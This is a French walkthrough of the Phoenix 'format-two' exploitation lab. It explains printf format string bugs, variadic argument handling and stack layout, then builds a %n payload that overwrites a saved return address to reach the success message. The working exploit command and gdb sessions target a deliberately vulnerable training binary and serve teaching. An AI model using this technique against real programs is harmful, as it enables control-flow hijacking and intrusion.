kiddie
.:: @OREL ::.

Phoenix - Format string - Format 2
[ 07/08/2019 ]
Copie originale : [https]://exploit.education/phoenix/format-two/ --- [0 - Énoncé [1 - Description du programme [1.1 - Code Source [1.2 - Identification de la vulnérabilité [2 - Méthodologie pour l'exploitation [2.1 - Gestion des arguments [3 - Exploitation de la vulnérabilité [4 - Conclusion ---
[0 - Énoncé
This level introduces being able to write to specific areas of memory to modify program execution.
[1 - Description du programme
[1.1 - Code Source
/* * phoenix/format-two, by https://exploit.education * * Can you change the "changeme" variable? * * What kind of flower should never be put in a vase? * A cauliflower. */ #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" int changeme; void bounce(char *str) { printf(str); } int main(int argc, char **argv) { char buf[256]; printf("%s\n", BANNER); if (argc > 1) { memset(buf, 0, sizeof(buf)); strncpy(buf, argv[1], sizeof(buf)); bounce(buf); } if (changeme != 0) { puts("Well done, the 'changeme' variable has been changed correctly!"); } else { puts("Better luck next time!\n"); } exit(0); }
Dans le contexte global, une variable notée changeme de type integer est déclarée. Toujours dans ce même contexte, une procédure nommée bounce est créée, elle prend un seul argument, str de type char *. Cette procédure se content d'afficher la ch- aîne pointée par str. Le main récupère argv[1] dans un buffer de 256 octets noté buf et invoque bounce avec buf en argument. Après cet appel, si changeme n'est pas nul, l'exercice est réussi.
[1.2 - identification de la vulnérabilité
La vulnérabilité se situe dans la procédure bounce, en effet, celle-ci appelle printf avec str en argument, str étant une copie de argv[1], il est possible d'injecter une chaîne de caractères qui sera interprétée par printf.
[2 - Méthodologie d'exploitation
L'objectif de cet exercice est de modifier la variable changeme en exploitant la vulnérabilité que l'on a précédément décrite dans bounce. Cela implique que grâce à un appel à printf, on serait en mesure d'écrire en mémoire, ça paraît suprenant mais c'est bel est bien possible avec le convertisseur %n, un extrait du man :
n The number of characters written so far is stored into the integer pointed to by the corresponding argument. That argument shall be an int *, or variant whose size matches the (optionally) supplied integer length mod‐ ifier. No argument is converted. (This specifier is not supported by the bionic C library.) The behavior is undefined if the conversion specification includes any flags, a field width, or a precision.
%n permet de stocker le nombre de caractères écrit à l'adresse spécifiée en argument. Par exemple, printf("%08x%n",0,0xdeadbeef) écrira 8 à l'adresse 0xdeadbeef. On sait désormais qu'il est possible d'écrire en mémoire avec printf, cependant, on souhaite écrire à une adresse bien précise, celle de changeme, cela pose un problème puisqu'on ne peut faire passer à printf que la chaîne avec les convertisseurs sans ses arguments.
[2.1 - Gestion des arguments
Dans les exercices précédents, on a utilisé les chaînes %33c et %32c pour remplir nos buffer sans vraiment savoir où le programme allait chercher la valeur à convertir sa- chant qu'aucun argument n'était donné. Pour comprendre d'où proviennent ces valeurs, on va d'abord s'intéresser au prototype de printf :
int printf(const char *format, ...);
Les trois points indiquent une liste d'arguments à taille variable, la taille de cette liste est normalement déterminée par le nombre de convertisseur utilisé dans format à quelques exceptions près. Le corps de printf devrait donner quelques indications quand à la gestion de cette liste d'argument(s) :
#include <stdarg.h> #include <libioP.h> int __printf (const char *format, ...) { va_list arg; int done; va_start (arg, format); done = __vfprintf_internal (stdout, format, arg, 0); va_end (arg); return done; }
La gestion des arguments est en fait déléguée et gérée par l'ensemble va_list, va_start et va_end définit dans le fichier d'en-tête stdarg.h appartenant au compilateur gcc. Le man de stdarg indique :
A function may be called with a varying number of arguments of varying types. The include file <stdarg.h> declares a type va_list and defines three macros for stepping through a list of arguments whose number and types are not known to the called function. The called function must declare an object of type va_list which is used by the macros va_start(), va_arg(), and va_end(). va_start() The va_start() macro initializes ap for subsequent use by va_arg() and va_end(), and must be called first. The argument last is the name of the last argument before the variable argument list, that is, the last argument of which the calling function knows the type. va_end() Each invocation of va_start() must be matched by a corresponding invocation of va_end() in the same function.
Pour bien comprendre comment l'ensemble fonctionne, on va rappeler la structure de la stack après l'appel à printf : ^ +-------------------------+ Adresses hautes | | | 0x7ffffffff0055 | | 456 | | | | + | +-------------------------+ | | | | | | | 123 | | | | | | Stack frame | +-------------------------+ | appelant | | | | | | &"%d %d" | | | | | | | +-------------------------+ | | | | | | | Sauvegarde RIP | | | | | | v +-------------------------+ | ^ | | v Stack frame | | Sauvegarde RBP | appelé | | | Adresses basses v +-------------------------+ 0x7ffffffff0001 Les arguments sont placés sur la stack et push de la droite vers la gauche pour que le premier argument se retrouve sur le haut de la pile. Lors de l'appel à va_start() deux arguments sont requis, ap et format, dans notre exemple format contient l'adresse de la chaîne "%d %d" et ap est une variable de type va_list à laquelle aucune valeur n'a été assignée. va_start() va utiliser l'adresse de format pour déterminer l'adresse du premier argument et placer cette valeur dans la variable ap. Ainsi, ap contiendra l'adresse de &"%d %d" + 4 dans notre système simulant une architecture 32 bits. On pourra alors utiliser va_arg(ap, type) pour récupérer les arguments un à un. Le fonctionnement des macro va_* est résumé ci-dessous : va_start(ap=NULL,format=&"%d %d") +-------------------------+ Adresses hautes | | 0x7ffffffff0055 | 456 | | | + +-------------------------+ | | | | ap=&123 | 123 | | | | | +-------------------------+ | | | | | &"%d %d" | | | | | +-------------------------+ | | | | | Sauvegarde RIP | | | | | +-------------------------+ | | | v | Sauvegarde RBP | | | Adresses basses +-------------------------+ 0x7ffffffff0001 va_arg(ap=&123,type=int) +-------------------------+ Adresses hautes | | 0x7ffffffff0055 ap=&456 | 456 | | | + +-------------------------+ | | | | | 123 | | | | | +-------------------------+ | | | | | &"%d %d" | | | | | +-------------------------+ | | | | | Sauvegarde RIP | | | | | +-------------------------+ | | | v | Sauvegarde RBP | | | Adresses basses +-------------------------+ 0x7ffffffff0001 etc.. Attention, ces schémas décrivent le fonctionnement sous un système 32 bits, le comportement est légérement différent sous un système 64 bit. En effet, on a déjà évoqué comment les arguments étaient passés dans stack 5 et ce n'est pas la stack mais les registres(rdi, rsi..) qui sont utilisés en priorité, la stack n'est utilisée que si la liste des arguments est strictement supérieure à 6. On sait désormais comment les arguments sont récupérés et d'où proviennent les valeurs affichées lorsqu'on inclut des convertisseurs sans argument. Un code minimaliste compilé en 64 puis 32 bits devrait nous permettre de mettre en applicaton les notions qu'on vient de décrire :
root@phoenix-amd64:/opt/phoenix/amd64# cat main.c #include <stdio.h> void main(int argc, char *argv[]) { printf(argv[1]); } root@phoenix-amd64:/opt/phoenix/amd64# gcc -o 64 main.c root@phoenix-amd64:/opt/phoenix/amd64# gdb -q 64 (gdb) r Starting program: /opt/phoenix/amd64/64 [Inferior 1 (process 347) exited with code 0377] (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: ... 0x00005555555546d2 <+34>: call 0x555555554560 <printf@plt> ... End of assembler dump. (gdb) b *0x00005555555546d2 Breakpoint 1 at 0x5555555546d2 (gdb) r %p-%p-%p-%p-%p Starting program: /opt/phoenix/amd64/64 %p-%p-%p-%p-%p Breakpoint 1, 0x00005555555546d2 in main () ... $rax : 0x0 $rbx : 0x0 $rcx : 0x0 $rdx : 0x00007fffffffe6c0 $rsp : 0x00007fffffffe5b0 $rbp : 0x00007fffffffe5c0 $rsi : 0x00007fffffffe6a8 $rdi : 0x00007fffffffe8c5 → "%p-%p-%p-%p-%p" $rip : 0x00005555555546d2 $r8 : 0x0000555555554750 $r9 : 0x00007ffff7de8c60 $r10 : 0x8 $r11 : 0x00007ffff7ffa19c $r12 : 0x0000555555554580 $r13 : 0x00007fffffffe6a0 $r14 : 0x0 $r15 : 0x0 ... (gdb) c Continuing. 0x7fffffffe6a8-0x7fffffffe6c0-(nil)-0x555555554750-0x7ffff7de8c60 [Inferior 1 (process 351) exited with code 0101]
On retrouve bien nos registres et leurs valeurs avant l'appel à printf. En compilant ce même code en 32 bits cela donne :
root@phoenix-amd64:/opt/phoenix/amd64# cat main.c #include <stdio.h> void main(int argc, char *argv[]) { printf(argv[1]); } root@phoenix-amd64:/opt/phoenix/amd64# gcc -o 32 -m32 main.c root@phoenix-amd64:/opt/phoenix/amd64# gdb -q 32 (gdb) r Starting program: /opt/phoenix/amd64/32 [Inferior 1 (process 1452) exited with code 0377] (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: ... 0x565561c2 <+41>: call 0x56556030 <printf@plt> ... End of assembler dump. (gdb) b *0x565561c2 Breakpoint 1 at 0x565561c2 (gdb) r %p-%p-%p-%p-%p Starting program: /opt/phoenix/amd64/32 %p-%p-%p-%p-%p Breakpoint 1, 0x565561c2 in main () ... 0xffffd6d0│+0x0000: 0xffffd8c5 → "%p-%p-%p-%p-%p" 0xffffd6d4│+0x0004: 0xffffd794 0xffffd6d8│+0x0008: 0xffffd7a0 0xffffd6dc│+0x000c: 0x565561ad 0xffffd6e0│+0x0010: 0xffffd700 0xffffd6e4│+0x0014: 0x00000000 0xffffd6e8│+0x0018: 0x00000000 0xffffd6ec│+0x001c: 0xf7e01b41 ... (gdb) c Continuing. 0xffffd794-0xffffd7a0-0x565561ad-0xffffd700-(nil) [Inferior 1 (process 1456) exited with code 061]
On retrouve bien les valeurs de la stack dans la version 32 bits. Après cette très grosse parenthèse, on va revenir sur l'objectif de format 2 à savoir modifier la valeur de changeme. Avec l'aide du convertisseur %n et en récupérant l'adresse de cette variable on devrait pourvoir assez facilement réécrire sa valeur, on va dans un premier temps récupérer l'adresse de la variable avec objdump :
root@phoenix-amd64:/opt/phoenix/amd64# objdump -t format-two format-two: file format elf64-x86-64 SYMBOL TABLE: ... 0000000000600af0 g O .bss 0000000000000004 changeme ...
Avant même de continuer on peut identifier 2 problèmes qui vont nous poser soucis pour construire un exploit fonctionnel. Premièrement, l'adresse comporte l'octet \x0a, et cet octet en ascii équivaut à \n, un retour à la ligne, lors du passage d'argument au programme cet octet sera interprété et notre exploit tronqué, exemple :
root@phoenix-amd64:/opt/phoenix/amd64# ltrace ./format-two $(echo -ne "AAAA\x0aBBBB") __libc_start_main(0x40068d, 3, 0x7fffffffe6e8, 0x400480 puts("Welcome to phoenix/format-two, b"...Welcome to phoenix/format-two, brought...) memset(0x7fffffffe590, '\0', 256) strncpy(0x7fffffffe590, "AAAA", 256) printf("AAAA") puts("Better luck next time!\n"AAAABetter luck next time!) exit(0 <no return ...> +++ exited (status 0) +++
Deuxièmement, changeme est une variable gobale et est stockée dans la section .bss du programme, le format de l'adresse nous oblige à utiliser un null byte pour éviter de se retrouver avec des parasites dans l'adresse. Ces paramètres rendent la modification de changeme compliquée et malgrè plusieurs tentatives je n'ai trouvé aucune méthode viable qui permette d'écrire à cette adresse. Plutôt que de s'arrêter là, on va changer de méthodologie tout en gardant à l'esprit que l'idée derrière cet exercice est de montrer qu'on peut écrire n'importe où en mémoire avec une format string. Modifier une sauvegarde de rip en réécrivant une partie ou même la totalité de l'adresse pour atteindre le "Well done" m'a paru être un bon substitu. On doit écrire une valeur précise à une adresse précise, ça devient même un peu plus compli- qué que l'exercice initial où l'on pouvait écrire n'importe quoi pour réussir. La vulnérabilité se situe dans la procédure bounce, on va donc tenter via cette format string de modifier la sauvegarde de rip pour récupérer le main à puts("Well done.."). Pour ce faire on doit donc : 1] - Récupérer l'offset de notre argument 2] - Récupérer l'adresse de sauvegarde de rip 3] - Calculer le nombre d'octet(s) à écrire Pour récupérer l'offset de notre argument, il suffit d'afficher la stack jusqu'à atteindre notre argument :
user@phoenix-amd64:/opt/phoenix/amd64$ ./format-two $(python -c 'print "%p-" * 20') Welcome to phoenix/format-two, brought to you by https://exploit.education 0-0x4-0-0x7fffffffe59c-0x7fffffffe51f-0x7fffffffe560-0x7fffffffe560-0x7fffffffe660- 0x400705-0x7fffffffe6b8-0x200400368-0x70252d70252d7025-0x252d70252d70252d-0x2d7025 2d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d 7025-0x2d70252d-0-Better luck next time!
Le douzième %p atteint notre argument. Puis, on va récupérer l'adresse de sauvegarde de rip en plaçant un breakpoint sur l'instruction ret et relever la valeur du registre rsp :
user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q format-two (gdb) unset env LINES (gdb) unset env COLUMNS (gdb) set env _ /opt/phoenix/amd64/format-two (gdb) disas bounce ... 0x000000000040068c <+31>: ret ... End of assembler dump. (gdb) b *0x000000000040068c (gdb) r 1234 Starting program: /opt/phoenix/amd64/format-two 1234 Welcome to phoenix/format-two, brought to you by https://exploit.education Breakpoint 1, 0x000000000040068c in bounce () ... $rsp : 0x00007fffffffe558 → <main+120> mov eax, DWORD PTR [rip+0x2003e5] ...
Avec 1234 comme argument, l'adresse de sauvegarde de rip est 0x7ffffffffe558, attention cependant, cette adresse va être enmennée à changer. Chaque modification de l'argument aura un impact sur l'adresse qu'on a relevée, avec un argument plus long, l'adresse sera inférieure, avec un argument plus court, l'adresse sera supérieure. Avec ces informations, on devrait pouvoir avec quelques changements écrire 0x400714, l'adresse où se situe le "Well done" à l'adresse temporaire relevée plus haut, 0x00007fffffffe558. Concernant le nombre d'octet à écrire, il est égale à la diff- érence de 0x400714 moins le nombre d'octets déjà écrit, ainsi, on peut d'ores et déjà avoir une idée sur la structure de notre exploit : "%p" * N + //atteindre l'offset de 0x00007fffffffe558 - 2 "%(0x400714 - octets écrit)x" + //écrire les N octets manquants "%n" + //écrire 0x400714 à 0x00007fffffffe558 0x00007fffffffe558 L'élaboration de l'exploit final devra se faire à l'aide d'un debugger pour notamment trouver la valeur de N qui convient. Il faudra aussi probablement supprimer ou ajouter un ou plusieurs caractères pour que le %n s'aligne parfaitement avec 0x00007fffffffe558.
[3 - Exploitation de la vulnérabilité
user@phoenix-amd64:/opt/phoenix/amd64$ /opt/phoenix/amd64/format-two\ > $(echo -ne "%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\ > -%p-%p-%p-%4195860x-%p%p%n\x18\xe5\xff\xff\xff\x7f") ... 0x6e25702570252d78����Well done, the 'changeme' variable has been changed correctly!
[4 - Conclusion
Bien qu'on ne soit pas parvenu à modifer changeme, on a tout de même démontré qu'il était possible d'atteindre le 'Well done' en réécrivant la sauvegarde de rip tout comme on avait pu le faire avec les buffer overflow.

Tout est faux tout est conforme.